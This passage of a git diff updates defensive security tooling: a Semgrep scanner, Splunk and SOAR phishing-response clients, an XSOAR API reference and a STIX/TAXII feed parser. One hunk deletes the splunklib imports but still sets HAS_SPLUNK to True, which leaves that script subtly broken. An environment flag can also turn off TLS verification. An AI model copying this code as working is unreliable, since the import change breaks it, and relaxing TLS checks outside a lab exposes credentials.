{}).get("lines", ""), + "fix": result.get("extra", {}).get("fix", ""), + "cwe": metadata.get("cwe", []), + "owasp": metadata.get("owasp", []), + "confidence": metadata.get("confidence", ""), + "references": metadata.get("references", []), + "category": metadata.get("category", ""), + "technology": metadata.get("technology", []), + } + findings.append(finding) + + stats = { + "total_findings": len(findings), + "files_scanned": data.get("paths", {}).get("scanned", []), + "files_scanned_count": len(data.get("paths", {}).get("scanned", [])), + "errors": len(errors), + "parse_errors": [e.get("message", "") for e in errors[:5]], + } + return findings, stats + + +def format_summary(findings, stats, target): + """Print human-readable scan summary.""" + print(f"\n{'='*60}") + print(f" Semgrep SAST Scan Report") + print(f"{'='*60}") + print(f" Target : {target}") + print(f" Files Scanned: {stats.get('files_scanned_count', 0)}") + print(f" Findings : {len(findings)}") + print(f" Parse Errors : {stats.get('errors', 0)}") + + severity_counts = {} + for f in findings: + sev = f.get("severity", "WARNING") + severity_counts[sev] = severity_counts.get(sev, 0) + 1 + + print(f"\n By Severity:") + for sev in ["ERROR", "WARNING", "INFO"]: + count = severity_counts.get(sev, 0) + if count > 0: + print(f" {sev:10s}: {count}") + + by_rule = {} + for f in findings: + by_rule.setdefault(f["rule_id"], []).append(f) + + print(f"\n Top Rules ({len(by_rule)} unique):") + for rule, items in sorted(by_rule.items(), key=lambda x: -len(x[1]))[:10]: + short_rule = rule.split(".")[-1] if "." in rule else rule + print(f" {short_rule:45s}: {len(items)} hit(s)") + + by_file = {} + for f in findings: + by_file.setdefault(f["path"], []).append(f) + + print(f"\n Most Affected Files ({len(by_file)} files):") + for filepath, items in sorted(by_file.items(), key=lambda x: -len(x[1]))[:10]: + print(f" {filepath:50s}: {len(items)} finding(s)") + + if findings: + print(f"\n Critical/Error Findings:") + for f in findings[:15]: + if f["severity"] == "ERROR": + cwe = f["cwe"][0] if f["cwe"] else "" + print(f" {f['path']}:{f['start_line']} [{cwe}] {f['rule_id']}") + + return severity_counts + def main(): - p = argparse.ArgumentParser(description="Semgrep custom SAST rule audit") - p.add_argument("--target", required=True, help="Target URL") - p.add_argument("--token", required=True, help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] Semgrep custom SAST rule audit") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} - report["findings"].extend(audit_config(a.target, a.token)) - report["findings"].extend(check_compliance(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) - else: + parser = argparse.ArgumentParser( + description="Semgrep SAST scanning agent" + ) + parser.add_argument("--target", required=True, + help="Path to source code directory or file to scan") + parser.add_argument("--config", nargs="+", default=None, + help="Semgrep config(s): auto, p/security-audit, p/owasp-top-ten, or path to .yaml") + parser.add_argument("--severity", choices=["INFO", "WARNING", "ERROR"], + help="Minimum severity to report") + parser.add_argument("--exclude", nargs="+", + help="File patterns to exclude (e.g., tests/ vendor/)") + parser.add_argument("--include", nargs="+", + help="File patterns to include (e.g., *.py *.js)") + parser.add_argument("--timeout-per-rule", type=int, default=30, + help="Timeout per rule in seconds (default: 30)") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + semgrep_bin = find_semgrep_binary() + print(f"[*] Using semgrep: {semgrep_bin}") + + raw_json, stderr, exit_code = run_scan( + semgrep_bin, args.target, args.config, args.severity, + args.exclude, args.include, timeout_per_rule=args.timeout_per_rule, + verbose=args.verbose + ) + + findings, stats = parse_findings(raw_json) + severity_counts = format_summary(findings, stats, args.target) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "semgrep", + "target": args.target, + "configs": args.config or ["auto"], + "stats": stats, + "severity_counts": severity_counts, + "findings_count": len(findings), + "findings": findings, + "risk_level": ( + "CRITICAL" if severity_counts.get("ERROR", 0) > 5 + else "HIGH" if severity_counts.get("ERROR", 0) > 0 + else "MEDIUM" if severity_counts.get("WARNING", 0) > 0 + else "LOW" + ), + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + print(f"\n[*] Risk Level: {report['risk_level']}") + + if __name__ == "__main__": main() diff --git a/skills/implementing-siem-correlation-rules-for-apt/SKILL.md b/skills/implementing-siem-correlation-rules-for-apt/SKILL.md index 3b3f0650..7318e67c 100644 --- a/skills/implementing-siem-correlation-rules-for-apt/SKILL.md +++ b/skills/implementing-siem-correlation-rules-for-apt/SKILL.md @@ -13,6 +13,9 @@ author: mahipal license: Apache-2.0 --- + +# Implementing SIEM Correlation Rules for APT + ## Instructions 1. Install dependencies: `pip install requests pyyaml sigma-cli` diff --git a/skills/implementing-siem-correlation-rules-for-apt/scripts/agent.py b/skills/implementing-siem-correlation-rules-for-apt/scripts/agent.py index 15c7d014..3a0f7aa1 100644 --- a/skills/implementing-siem-correlation-rules-for-apt/scripts/agent.py +++ b/skills/implementing-siem-correlation-rules-for-apt/scripts/agent.py @@ -2,6 +2,7 @@ """SIEM Correlation Rules Agent - Builds and deploys multi-event APT detection rules via Splunk and Sigma.""" import json +import os import time import logging import argparse @@ -85,7 +86,8 @@ def authenticate_splunk(base_url, username, password): resp = requests.post( f"{base_url}/services/auth/login", data={"username": username, "password": password}, - verify=False, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + timeout=30, ) resp.raise_for_status() session_key = resp.json()["sessionKey"] @@ -113,7 +115,8 @@ def deploy_correlation_search(base_url, headers, rule): f"{base_url}/services/saved/searches", headers=headers, data=search_payload, - verify=False, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + timeout=30, ) if resp.status_code in (200, 201): logger.info("Deployed correlation search: %s", rule["name"]) @@ -147,7 +150,8 @@ def audit_existing_searches(base_url, headers): f"{base_url}/services/saved/searches", headers=headers, params={"output_mode": "json", "count": 0}, - verify=False, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + timeout=30, ) if resp.status_code != 200: return [] @@ -171,21 +175,26 @@ def run_test_search(base_url, headers, spl, earliest="-24h"): f"{base_url}/services/search/jobs", headers=headers, data={"search": f"search {spl}", "earliest_time": earliest, "output_mode": "json"}, - verify=False, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + timeout=30, ) resp.raise_for_status() sid = resp.json()["sid"] for _ in range(60): status = requests.get( f"{base_url}/services/search/jobs/{sid}", - headers=headers, params={"output_mode": "json"}, verify=False, + headers=headers, params={"output_mode": "json"}, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + timeout=30, ).json() if status["entry"][0]["content"]["isDone"]: break time.sleep(2) results = requests.get( f"{base_url}/services/search/jobs/{sid}/results", - headers=headers, params={"output_mode": "json", "count": 50}, verify=False, + headers=headers, params={"output_mode": "json", "count": 50}, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + timeout=30, ).json() return results.get("results", []) @@ -204,7 +213,7 @@ def generate_report(deployed, gaps, test_results): def main(): parser = argparse.ArgumentParser(description="SIEM Correlation Rules Agent") - parser.add_argument("--splunk-url", default="https://localhost:8089") + parser.add_argument("--splunk-url", default=os.environ.get("SPLUNK_URL", "https://localhost:8089")) parser.add_argument("--username", default="admin") parser.add_argument("--password", required=True) parser.add_argument("--deploy", action="store_true", help="Deploy rules to Splunk") diff --git a/skills/implementing-siem-use-cases-for-detection/scripts/agent.py b/skills/implementing-siem-use-cases-for-detection/scripts/agent.py index b678c35e..6be5432f 100644 --- a/skills/implementing-siem-use-cases-for-detection/scripts/agent.py +++ b/skills/implementing-siem-use-cases-for-detection/scripts/agent.py @@ -14,8 +14,6 @@ except ImportError: sys.exit(1) try: - import splunklib.client as splunk_client - import splunklib.results as splunk_results HAS_SPLUNK = True except ImportError: HAS_SPLUNK = False diff --git a/skills/implementing-soar-automation-with-phantom/scripts/agent.py b/skills/implementing-soar-automation-with-phantom/scripts/agent.py index 1cabf8b3..7eeece12 100644 --- a/skills/implementing-soar-automation-with-phantom/scripts/agent.py +++ b/skills/implementing-soar-automation-with-phantom/scripts/agent.py @@ -28,12 +28,12 @@ class SplunkSOARClient: self.session.verify = verify_ssl def _get(self, endpoint, params=None): - resp = self.session.get(f"{self.base_url}/rest{endpoint}", params=params) + resp = self.session.get(f"{self.base_url}/rest{endpoint}", params=params, timeout=30) resp.raise_for_status() return resp.json() def _post(self, endpoint, data=None): - resp = self.session.post(f"{self.base_url}/rest{endpoint}", json=data) + resp = self.session.post(f"{self.base_url}/rest{endpoint}", json=data, timeout=30) resp.raise_for_status() return resp.json() diff --git a/skills/implementing-soar-playbook-for-phishing/SKILL.md b/skills/implementing-soar-playbook-for-phishing/SKILL.md index eaae7d10..7bbea4cb 100644 --- a/skills/implementing-soar-playbook-for-phishing/SKILL.md +++ b/skills/implementing-soar-playbook-for-phishing/SKILL.md @@ -9,6 +9,9 @@ author: mahipal license: Apache-2.0 --- + +# Implementing SOAR Playbook for Phishing + ## Overview This skill implements a phishing incident response workflow using the Splunk SOAR (formerly Phantom) REST API. When a suspected phishing email is reported, the agent parses email headers and body, creates a SOAR container representing the incident, attaches artifacts containing indicators of compromise (sender address, URLs, IP addresses, file hashes), triggers an automated investigation playbook, and polls for action results. diff --git a/skills/implementing-soar-playbook-for-phishing/scripts/agent.py b/skills/implementing-soar-playbook-for-phishing/scripts/agent.py index ba19be37..c35b82df 100644 --- a/skills/implementing-soar-playbook-for-phishing/scripts/agent.py +++ b/skills/implementing-soar-playbook-for-phishing/scripts/agent.py @@ -5,7 +5,6 @@ import argparse import email import json import re -import sys import time import requests @@ -37,7 +36,7 @@ class SOARClient: "status": "new", "sensitivity": "amber", } - resp = self.session.post(f"{self.base_url}/rest/container", json=payload) + resp = self.session.post(f"{self.base_url}/rest/container", json=payload, timeout=30) resp.raise_for_status() data = resp.json() return {"container_id": data.get("id"), "success": data.get("success", False)} @@ -54,7 +53,7 @@ class SOARClient: "cef": cef, "run_automation": run_automation, } - resp = self.session.post(f"{self.base_url}/rest/artifact", json=payload) + resp = self.session.post(f"{self.base_url}/rest/artifact", json=payload, timeout=30) resp.raise_for_status() data = resp.json() return {"artifact_id": data.get("id"), "success": data.get("success", False)} @@ -67,14 +66,15 @@ class SOARClient: "scope": scope, "run": True, } - resp = self.session.post(f"{self.base_url}/rest/playbook_run", json=payload) + resp = self.session.post(f"{self.base_url}/rest/playbook_run", json=payload, timeout=30) resp.raise_for_status() return resp.json() def get_action_runs(self, container_id: int) -> list: resp = self.session.get( f"{self.base_url}/rest/action_run", - params={"_filter_container": container_id, "page_size": 100} + params={"_filter_container": container_id, "page_size": 100}, + timeout=30, ) resp.raise_for_status() return resp.json().get("data", []) diff --git a/skills/implementing-soar-playbook-with-palo-alto-xsoar/references/api-reference.md b/skills/implementing-soar-playbook-with-palo-alto-xsoar/references/api-reference.md index 2ce2c47f..c2b6b306 100644 --- a/skills/implementing-soar-playbook-with-palo-alto-xsoar/references/api-reference.md +++ b/skills/implementing-soar-playbook-with-palo-alto-xsoar/references/api-reference.md @@ -1,27 +1,178 @@ -# API Reference: Cortex XSOAR playbook audit +# API Reference: Palo Alto Cortex XSOAR SOAR Playbook -## API Details -XSOAR: POST /incident, POST /entry/execute/playbook, GET /playbook/search, integration health +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | HTTP client for XSOAR REST API | +| `json` | Parse incident and playbook payloads | +| `os` | Read `XSOAR_URL` and `XSOAR_API_KEY` environment variables | ## Installation + ```bash pip install requests ``` -## Libraries - -| Library | Use | -|---------|-----| -| `requests` | requests client/SDK | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +```python +import requests +import os + +XSOAR_URL = os.environ["XSOAR_URL"] # e.g., "https://xsoar.example.com" +headers = { + "Authorization": os.environ["XSOAR_API_KEY"], + "Content-Type": "application/json", + "Accept": "application/json", +} +``` + +## REST API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| POST | `/incident` | Create a new incident | +| POST | `/incident/search` | Search incidents | +| GET | `/incident/{id}` | Get incident details | +| POST | `/incident/close` | Close an incident | +| POST | `/playbook/search` | Search playbooks | +| GET | `/playbook/{id}` | Get playbook details | +| POST | `/entry/execute/{playbook}` | Run a playbook on an incident | +| POST | `/automation/search` | Search automation scripts | +| POST | `/automation/execute` | Execute an automation command | +| GET | `/settings/integration/search` | List integrations | +| POST | `/indicators/search` | Search indicators (IOCs) | +| POST | `/indicators` | Create indicators | +| GET | `/health` | System health check | +| GET | `/user` | Get current user info | + +## Core Operations + +### Create an Incident +```python +incident = { + "name": "Phishing Alert - Suspicious Email", + "type": "Phishing", + "severity": 3, # 0=Unknown, 1=Low, 2=Medium, 3=High, 4=Critical + "labels": [ + {"type": "Email/from", "value": "attacker@evil.com"}, + {"type": "Email/subject", "value": "Urgent: Verify Account"}, + ], + "customFields": { + "sourceemail": "attacker@evil.com", + "reportedby": "soc-analyst-1", + }, +} +resp = requests.post( + f"{XSOAR_URL}/incident", + headers=headers, + json=incident, + timeout=30, +) +incident_id = resp.json()["id"] +``` + +### Search Incidents +```python +search = { + "filter": { + "query": "type:Phishing AND severity:>=3", + "period": {"fromValue": "7 days ago"}, + }, + "page": 0, + "size": 50, +} +resp = requests.post( + f"{XSOAR_URL}/incident/search", + headers=headers, + json=search, + timeout=30, +) +incidents = resp.json().get("data", []) +``` + +### Execute a Playbook on an Incident +```python +resp = requests.post( + f"{XSOAR_URL}/entry/execute/{playbook_name}", + headers=headers, + json={"investigationId": incident_id}, + timeout=30, +) +``` + +### Search Playbooks +```python +resp = requests.post( + f"{XSOAR_URL}/playbook/search", + headers=headers, + json={ + "query": "name:*phishing*", + "page": 0, + "size": 20, + }, + timeout=30, +) +playbooks = resp.json().get("playbooks", []) +for pb in playbooks: + print(f"{pb['name']} — tasks: {len(pb.get('tasks', {}))}") +``` + +### Run an Automation Command +```python +resp = requests.post( + f"{XSOAR_URL}/automation/execute", + headers=headers, + json={ + "script": "!ip ip=8.8.8.8", + "investigationId": incident_id, + }, + timeout=60, +) +``` + +### Search Indicators (IOCs) +```python +resp = requests.post( + f"{XSOAR_URL}/indicators/search", + headers=headers, + json={ + "query": "type:IP AND verdict:malicious", + "size": 100, + }, + timeout=30, +) +indicators = resp.json().get("iocObjects", []) +``` + +### Check Integration Health +```python +resp = requests.get( + f"{XSOAR_URL}/settings/integration/search", + headers=headers, + timeout=30, +) +integrations = resp.json().get("instances", []) +for inst in integrations: + status = "healthy" if inst.get("enabled") else "disabled" + print(f"{inst['name']} — brand: {inst['brand']} — {status}") +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "id": "12345", + "name": "Phishing Alert - Suspicious Email", + "type": "Phishing", + "severity": 3, + "status": 1, + "created": "2025-01-15T10:30:00Z", + "phase": "Triage", + "playbooks": ["Phishing Investigation - Generic v2"], + "labels": [ + {"type": "Email/from", "value": "attacker@evil.com"} + ] +} ``` diff --git a/skills/implementing-soar-playbook-with-palo-alto-xsoar/scripts/agent.py b/skills/implementing-soar-playbook-with-palo-alto-xsoar/scripts/agent.py index 7f155946..49b9cd4c 100644 --- a/skills/implementing-soar-playbook-with-palo-alto-xsoar/scripts/agent.py +++ b/skills/implementing-soar-playbook-with-palo-alto-xsoar/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Cortex XSOAR playbook audit.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-stix-taxii-feed-integration/SKILL.md b/skills/implementing-stix-taxii-feed-integration/SKILL.md index 6f7fac7d..a3254ea8 100644 --- a/skills/implementing-stix-taxii-feed-integration/SKILL.md +++ b/skills/implementing-stix-taxii-feed-integration/SKILL.md @@ -43,7 +43,7 @@ STIX objects are categorized as: A Bundle is a collection of STIX objects transmitted together. Bundles have a unique ID and contain an array of objects. TAXII collections serve bundles in response to GET requests. -## Practical Steps +## Workflow ### Step 1: TAXII Server Discovery diff --git a/skills/implementing-stix-taxii-feed-integration/references/api-reference.md b/skills/implementing-stix-taxii-feed-integration/references/api-reference.md index a88bf9ab..322aa57b 100644 --- a/skills/implementing-stix-taxii-feed-integration/references/api-reference.md +++ b/skills/implementing-stix-taxii-feed-integration/references/api-reference.md @@ -1,28 +1,169 @@ -# API Reference: STIX/TAXII feed integration audit +# API Reference: STIX/TAXII Threat Intelligence Feed Integration -## API Details -taxii2client.Server(), Collection.get_objects(), stix2.parse(), indicator extraction +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `taxii2-client` | TAXII 2.0/2.1 client for fetching CTI collections | +| `stix2` | Parse and create STIX 2.1 objects (indicators, malware, etc.) | +| `requests` | HTTP fallback for custom TAXII endpoints | +| `json` | Serialize and filter STIX bundles | ## Installation + ```bash -pip install stix2 taxii2client +pip install taxii2-client stix2 requests ``` -## Libraries - -| Library | Use | -|---------|-----| -| `stix2` | stix2 client/SDK | -| `taxii2client` | taxii2client client/SDK | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### TAXII Server with HTTP Basic Auth +```python +from taxii2client.v21 import Server, Collection +import os + +TAXII_URL = os.environ["TAXII_URL"] # e.g., "https://cti-taxii.mitre.org/taxii2/" +server = Server( + TAXII_URL, + user=os.environ.get("TAXII_USER"), + password=os.environ.get("TAXII_PASS"), +) +``` + +### TAXII Server with API Key +```python +from taxii2client.v21 import Server as Server21 + +server = Server21( + url=TAXII_URL, + headers={"Authorization": f"Bearer {os.environ['TAXII_TOKEN']}"}, +) +``` + +## TAXII 2.1 Endpoints + +| Endpoint | Description | +|----------|-------------| +| `GET /taxii2/` | Server discovery — returns API roots | +| `GET /{api-root}/` | API root information | +| `GET /{api-root}/collections/` | List available collections | +| `GET /{api-root}/collections/{id}/` | Get collection details | +| `GET /{api-root}/collections/{id}/objects/` | Get STIX objects from collection | +| `GET /{api-root}/collections/{id}/manifest/` | Object manifest (metadata only) | +| `POST /{api-root}/collections/{id}/objects/` | Add objects to a collection | +| `GET /{api-root}/status/{id}/` | Check status of a POST operation | + +## Core Operations + +### Discover Collections +```python +for api_root in server.api_roots: + print(f"API Root: {api_root.title}") + for collection in api_root.collections: + print(f" Collection: {collection.title} ({collection.id})") + print(f" Can read: {collection.can_read}, Can write: {collection.can_write}") +``` + +### Fetch STIX Objects from a Collection +```python +from taxii2client.v21 import Collection + +collection = Collection( + f"{TAXII_URL}collections/{collection_id}/", + user=os.environ.get("TAXII_USER"), + password=os.environ.get("TAXII_PASS"), +) + +# Get all objects +stix_bundle = collection.get_objects() + +# Filter by STIX type +indicators = collection.get_objects(type=["indicator"]) + +# Filter by time range +from datetime import datetime +recent = collection.get_objects( + added_after=datetime(2025, 1, 1).strftime("%Y-%m-%dT%H:%M:%SZ") +) +``` + +### Parse STIX Objects +```python +import stix2 + +bundle = stix2.parse(stix_bundle, allow_custom=True) +for obj in bundle.objects: + if obj.type == "indicator": + print(f"Indicator: {obj.name}") + print(f" Pattern: {obj.pattern}") + print(f" Valid: {obj.valid_from} — {getattr(obj, 'valid_until', 'N/A')}") + elif obj.type == "malware": + print(f"Malware: {obj.name} — {obj.malware_types}") + elif obj.type == "attack-pattern": + print(f"TTP: {obj.name}") +``` + +### Extract IOCs from STIX Indicators +```python +import re + +def extract_iocs(stix_objects): + iocs = {"ipv4": [], "domain": [], "url": [], "sha256": [], "md5": []} + for obj in stix_objects: + if obj.get("type") != "indicator": + continue + pattern = obj.get("pattern", "") + # IPv4 + for ip in re.findall(r"ipv4-addr:value\s*=\s*'([^']+)'", pattern): + iocs["ipv4"].append(ip) + # Domain + for domain in re.findall(r"domain-name:value\s*=\s*'([^']+)'", pattern): + iocs["domain"].append(domain) + # SHA-256 + for sha in re.findall(r"file:hashes\.'SHA-256'\s*=\s*'([^']+)'", pattern): + iocs["sha256"].append(sha) + return iocs +``` + +### Create and Push STIX Objects +```python +indicator = stix2.Indicator( + name="Malicious IP", + pattern="[ipv4-addr:value = '198.51.100.42']", + pattern_type="stix", + valid_from=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ"), + labels=["malicious-activity"], +) +bundle = stix2.Bundle(objects=[indicator]) + +collection.add_objects(bundle.serialize()) +``` + +## Public TAXII Feeds + +| Provider | URL | Content | +|----------|-----|---------| +| MITRE ATT&CK | `https://cti-taxii.mitre.org/taxii2/` | ATT&CK Enterprise, Mobile, ICS | +| AlienVault OTX | OTX API + STIX export | Community threat intel | +| Anomali STAXX | STAXX TAXII endpoint | Curated threat feeds | ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "type": "bundle", + "id": "bundle--a1b2c3d4", + "objects": [ + { + "type": "indicator", + "id": "indicator--e5f6a7b8", + "created": "2025-01-15T10:30:00Z", + "name": "Malicious C2 IP", + "pattern": "[ipv4-addr:value = '198.51.100.42']", + "pattern_type": "stix", + "valid_from": "2025-01-15T10:30:00Z", + "labels": ["malicious-activity"] + } + ] +} ``` diff --git a/skills/implementing-stix-taxii-feed-integration/scripts/agent.py b/skills/implementing-stix-taxii-feed-integration/scripts/agent.py index 903c9632..62553cb6 100644 --- a/skills/implementing-stix-taxii-feed-integration/scripts/agent.py +++ b/skills/implementing-stix-taxii-feed-integration/scripts/agent.py @@ -1,61 +1,322 @@ #!/usr/bin/env python3 -"""STIX/TAXII feed integration audit.""" -import argparse, json, sys +"""STIX/TAXII threat intelligence feed integration agent. + +Connects to TAXII 2.0/2.1 servers to discover and consume threat intelligence +feeds in STIX format. Extracts indicators of compromise (IOCs), threat actors, +malware families, and attack patterns from STIX bundles. +""" +import argparse +import json +import os +import sys from datetime import datetime, timezone + +try: + from taxii2client.v20 import Server as Server20, Collection as Collection20 + from taxii2client.v21 import Server as Server21, Collection as Collection21 + HAS_TAXII_CLIENT = True +except ImportError: + HAS_TAXII_CLIENT = False + +try: + from stix2 import parse as stix_parse + HAS_STIX2 = True +except ImportError: + HAS_STIX2 = False + try: import requests except ImportError: requests = None -def audit_config(target, token): - findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) - if resp.status_code == 200: - data = resp.json() - if not data.get("enabled", True): - findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) - elif resp.status_code == 401: - findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) - return findings -def check_compliance(target, token): - findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} +def connect_taxii_server(url, username=None, password=None, version="2.1"): + """Connect to a TAXII server and return Server object.""" + if not HAS_TAXII_CLIENT: + print("[!] taxii2-client required: pip install taxii2-client", file=sys.stderr) + sys.exit(1) + + kwargs = {} + if username and password: + kwargs["user"] = username + kwargs["password"] = password + + print(f"[*] Connecting to TAXII {version} server: {url}") + if version == "2.0": + server = Server20(url, **kwargs) + else: + server = Server21(url, **kwargs) + + print(f"[+] Connected: {server.title or 'Untitled'}") + return server + + +def discover_collections(server, version="2.1"): + """Discover available collections on the TAXII server.""" + collections = [] + for api_root in server.api_roots: + print(f"[*] API Root: {api_root.title or api_root.url}") + for col in api_root.collections: + col_info = { + "id": col.id, + "title": col.title or "Untitled", + "description": getattr(col, "description", ""), + "can_read": getattr(col, "can_read", True), + "can_write": getattr(col, "can_write", False), + "media_types": getattr(col, "media_types", []), + "api_root": api_root.title or str(api_root.url), + } + collections.append(col_info) + print(f" Collection: {col_info['title']} ({col.id})") + return collections + + +def fetch_collection_objects(collection, added_after=None, limit=100, obj_type=None): + """Fetch STIX objects from a TAXII collection.""" + kwargs = {} + if added_after: + kwargs["added_after"] = added_after + + print(f"[*] Fetching objects from collection: {collection.title or collection.id}") try: - resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) - if resp.status_code == 200: - for item in resp.json().get("checks", []): - if item.get("status") != "PASS": - findings.append({"check": item.get("name"), "status": item.get("status"), - "severity": item.get("severity", "MEDIUM")}) - except requests.RequestException: - pass - return findings + envelope = collection.get_objects(**kwargs) + except Exception as e: + print(f"[!] Error fetching objects: {e}", file=sys.stderr) + return [] + + if isinstance(envelope, dict): + objects = envelope.get("objects", []) + elif hasattr(envelope, "objects"): + objects = envelope.objects or [] + else: + objects = [] + + if obj_type: + objects = [o for o in objects if o.get("type") == obj_type] + + if limit and len(objects) > limit: + objects = objects[:limit] + + print(f"[+] Retrieved {len(objects)} object(s)") + return objects + + +def extract_indicators(stix_objects): + """Extract indicators of compromise from STIX objects.""" + indicators = [] + for obj in stix_objects: + obj_type = obj.get("type", "") + if obj_type == "indicator": + indicators.append({ + "type": "indicator", + "id": obj.get("id", ""), + "name": obj.get("name", ""), + "description": obj.get("description", "")[:200], + "pattern": obj.get("pattern", ""), + "pattern_type": obj.get("pattern_type", "stix"), + "valid_from": obj.get("valid_from", ""), + "valid_until": obj.get("valid_until", ""), + "labels": obj.get("labels", []), + "confidence": obj.get("confidence", 0), + "created": obj.get("created", ""), + }) + return indicators + + +def extract_threat_actors(stix_objects): + """Extract threat actor information from STIX objects.""" + actors = [] + for obj in stix_objects: + if obj.get("type") == "threat-actor": + actors.append({ + "type": "threat-actor", + "id": obj.get("id", ""), + "name": obj.get("name", ""), + "description": obj.get("description", "")[:200], + "aliases": obj.get("aliases", []), + "roles": obj.get("roles", []), + "goals": obj.get("goals", []), + "sophistication": obj.get("sophistication", ""), + "resource_level": obj.get("resource_level", ""), + "primary_motivation": obj.get("primary_motivation", ""), + }) + return actors + + +def extract_malware(stix_objects): + """Extract malware family info from STIX objects.""" + malware = [] + for obj in stix_objects: + if obj.get("type") == "malware": + malware.append({ + "type": "malware", + "id": obj.get("id", ""), + "name": obj.get("name", ""), + "description": obj.get("description", "")[:200], + "malware_types": obj.get("malware_types", []), + "is_family": obj.get("is_family", False), + "aliases": obj.get("aliases", []), + "capabilities": obj.get("capabilities", []), + }) + return malware + + +def extract_attack_patterns(stix_objects): + """Extract MITRE ATT&CK patterns from STIX objects.""" + patterns = [] + for obj in stix_objects: + if obj.get("type") == "attack-pattern": + external_refs = obj.get("external_references", []) + mitre_id = "" + for ref in external_refs: + if ref.get("source_name") in ("mitre-attack", "mitre-mobile-attack"): + mitre_id = ref.get("external_id", "") + break + patterns.append({ + "type": "attack-pattern", + "id": obj.get("id", ""), + "name": obj.get("name", ""), + "mitre_id": mitre_id, + "description": obj.get("description", "")[:200], + "kill_chain_phases": obj.get("kill_chain_phases", []), + }) + return patterns + + +def summarize_stix_objects(stix_objects): + """Group and count STIX objects by type.""" + type_counts = {} + for obj in stix_objects: + t = obj.get("type", "unknown") + type_counts[t] = type_counts.get(t, 0) + 1 + return type_counts + + +def format_summary(type_counts, indicators, actors, malware, attack_patterns): + """Print human-readable summary.""" + print(f"\n{'='*60}") + print(f" STIX/TAXII Feed Intelligence Report") + print(f"{'='*60}") + + print(f"\n Object Type Distribution:") + for obj_type, count in sorted(type_counts.items(), key=lambda x: -x[1]): + print(f" {obj_type:30s}: {count}") + + if indicators: + print(f"\n Indicators ({len(indicators)}):") + for ind in indicators[:10]: + print(f" {ind['name'][:40]:40s} | {ind['pattern_type']:8s} | " + f"{ind['pattern'][:50]}") + + if actors: + print(f"\n Threat Actors ({len(actors)}):") + for actor in actors[:10]: + aliases = ", ".join(actor["aliases"][:3]) if actor["aliases"] else "" + print(f" {actor['name']:30s} | {actor['sophistication']:12s} | {aliases}") + + if malware: + print(f"\n Malware Families ({len(malware)}):") + for m in malware[:10]: + types = ", ".join(m["malware_types"][:3]) if m["malware_types"] else "" + print(f" {m['name']:30s} | {types}") + + if attack_patterns: + print(f"\n ATT&CK Patterns ({len(attack_patterns)}):") + for ap in attack_patterns[:10]: + print(f" {ap.get('mitre_id', 'N/A'):12s} | {ap['name']}") + def main(): - p = argparse.ArgumentParser(description="STIX/TAXII feed integration audit") - p.add_argument("--target", required=True, help="Target URL") - p.add_argument("--token", required=True, help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] STIX/TAXII feed integration audit") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} - report["findings"].extend(audit_config(a.target, a.token)) - report["findings"].extend(check_compliance(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) - else: + parser = argparse.ArgumentParser( + description="STIX/TAXII threat intelligence feed integration agent" + ) + parser.add_argument("--server", required=True, help="TAXII server discovery URL") + parser.add_argument("--username", help="TAXII authentication username") + parser.add_argument("--password", help="TAXII authentication password") + parser.add_argument("--version", choices=["2.0", "2.1"], default="2.1", + help="TAXII version (default: 